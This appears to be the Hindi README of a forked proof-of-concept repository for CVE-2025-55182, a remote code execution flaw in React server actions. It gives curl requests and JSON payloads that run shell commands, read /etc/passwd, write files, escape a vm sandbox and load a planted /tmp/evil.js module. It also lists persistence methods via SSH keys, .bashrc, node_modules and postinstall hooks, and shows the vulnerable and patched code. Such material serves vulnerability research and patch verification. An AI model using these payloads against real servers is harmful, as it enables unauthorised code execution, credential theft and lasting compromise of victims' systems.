यह PoC वास्तविक `[email protected]` कमजोर कोड का उपयोग करके CVE-2025-55182 को प्रदर्शित करता है।
यह POC वास्तविक [email protected] भेद्य कोड का उपयोग करके CVE-2025-55182 को प्रदर्शित करता है।
यह रिपॉजिटरी https://github.com/ejpir/CVE-2025-55182-poc से फोर्क की गई है और अभी तक सत्यापित नहीं की गई है! कृपया सावधानी बरतें और ध्यान से सत्यापन करें!
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
npm run start:module # Start module server (port 3003) - hypothetical, see note below
# Exploits (use with npm start)
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research # Prototype chain research
# Hypothetical exploits (use with start:module)
npm run exploit:module # Two-step RCE via module#_load
npm run exploit:indirect # Two-step RCE with proof file
नोट:
moduleएक्सप्लॉइट काल्पनिक हैं।moduleबिल्ट-इन प्रोडक्शन ऐप्स में शायद ही बंडल किया जाता है। वे एक सैद्धांतिक हमले का रास्ता दिखाते हैं जब केवलfs+moduleउपलब्ध हों (vm/child_process नहीं)। व्यवहार में, जिन ऐप्स मेंfsहोता है उनमें आमतौर पर sharp, puppeteer, या execa जैसी निर्भरताओं के माध्यम सेchild_processभी होता है।
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| फ़ाइल | पोर्ट | विवरण |
|---|---|---|
src/server-realistic.js | 3002 | मुख्य सर्वर - सामान्य मॉड्यूल (fs, vm, child_process) के साथ webpack बंडल का अनुकरण करता है |
src/server.js | 3002 | लिगेसी सर्वर (सीधे require का उपयोग करता है) |
src/server-module-test.js | 3003 | module + fs वाला सर्वर (शोध के लिए) |
| फ़ाइल | विवरण |
|---|---|
exploit-rce-v4.js | प्राथमिक RCE vm#runInThisContext के माध्यम से |
exploit-all-gadgets.js | सभी RCE गैजेट्स का परीक्षण करता है (vm, child_process, fs) |
exploit-module-load.js | fs + module#_load के माध्यम से दो-चरणीय RCE |
exploit-indirect-rce.js | प्रमाण फ़ाइल निर्माण के साथ दो-चरणीय RCE |
exploit-persistence.js | स्थायित्व हमले (SSH कुंजियाँ, .bashrc) |
exploit-research.js | प्रोटोटाइप श्रृंखला शोध |
एक वास्तविक webpack बंडल का अनुकरण करता है जहाँ ऐप्स निर्भरताओं के माध्यम से आमतौर पर खतरनाक मॉड्यूल बंडल करते हैं:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
__webpack_require__ फ़ंक्शन केवल BUNDLED_MODULES से मॉड्यूल लोड करता है, जो वास्तविक webpack व्यवहार का अनुकरण करता है।
requireModule() में, exports को hasOwnProperty जाँच के बिना ब्रैकेट नोटेशन के माध्यम से एक्सेस किया जाता है:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 को बाउंड एक्शन मेटाडेटा के साथ भेजेंid: 'vm#runInThisContext' vm मॉड्यूल लोड करता है, runInThisContext export एक्सेस करता हैbound ऐरे फ़ंक्शन के तर्क बन जाता हैrunInThisContext(CODE) मनमाना कोड निष्पादित करता है| गैजेट | स्थिति | विवरण |
|---|---|---|
vm#runInThisContext | ✓ | वर्तमान कॉन्टेक्स्ट में मनमाना JS निष्पादित करें |
vm#runInNewContext | ✓ | "सैंडबॉक्स" में निष्पादित करें (आसानी से भाग निकला जा सकता है) |
child_process#execSync | ✓ | सीधे शेल कमांड निष्पादन |
child_process#execFileSync | ✓ | बाइनरी फ़ाइलें निष्पादित करें |
child_process#spawnSync | ✓ | प्रोसेस स्पॉन करें (ऑब्जेक्ट लौटाता है) |
module#_load | ✓ | JS फ़ाइल लोड और निष्पादित करें (fs के साथ 2-चरण) |
fs#readFileSync | ✓ | मनमानी फ़ाइलें पढ़ें |
fs#writeFileSync | ✓ | मनमानी फ़ाइलें लिखें |
शेल कमांड निष्पादित करें (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
संवेदनशील फ़ाइलें पढ़ें:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
डिस्क पर फ़ाइलें लिखें:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
मनमाना JavaScript निष्पादित करें:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
सैंडबॉक्स से बचना (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
सीधे RCE के लिए: हाँ, आपको निम्न में से एक चाहिए:
vm module (runInThisContext, runInNewContext)child_process module (execSync, execFileSync, spawnSync)अप्रत्यक्ष RCE के लिए (केवल fs): नहीं! केवल fs के साथ आप यह कर सकते हैं:
~/.ssh/authorized_keys में लिखें → SSH पहुँच~/.bashrc में जोड़ें → अगले लॉगिन पर कोड निष्पादनnode_modules/* को ओवरराइट करें → ऐप पुनरारंभ पर RCEpackage.json postinstall संशोधित करें → अगली npm install पर RCEनोट: यह काल्पनिक है।
moduleबिल्ट-इन प्रोडक्शन में शायद ही बंडल किया जाता है।
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!
| संस्करण | हमला | परिणाम |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE प्राप्त हुआ |
| React 19.2.1 | vm#runInThisContext | ✗ अवरुद्ध |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
लोकप्रिय npm पैकेजों पर शोध के लिए VULNERABLE-PACKAGES.md देखें जिनमें खतरनाक मॉड्यूल शामिल हैं:
| मॉड्यूल | साप्ताहिक डाउनलोड | लोकप्रिय पैकेज |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |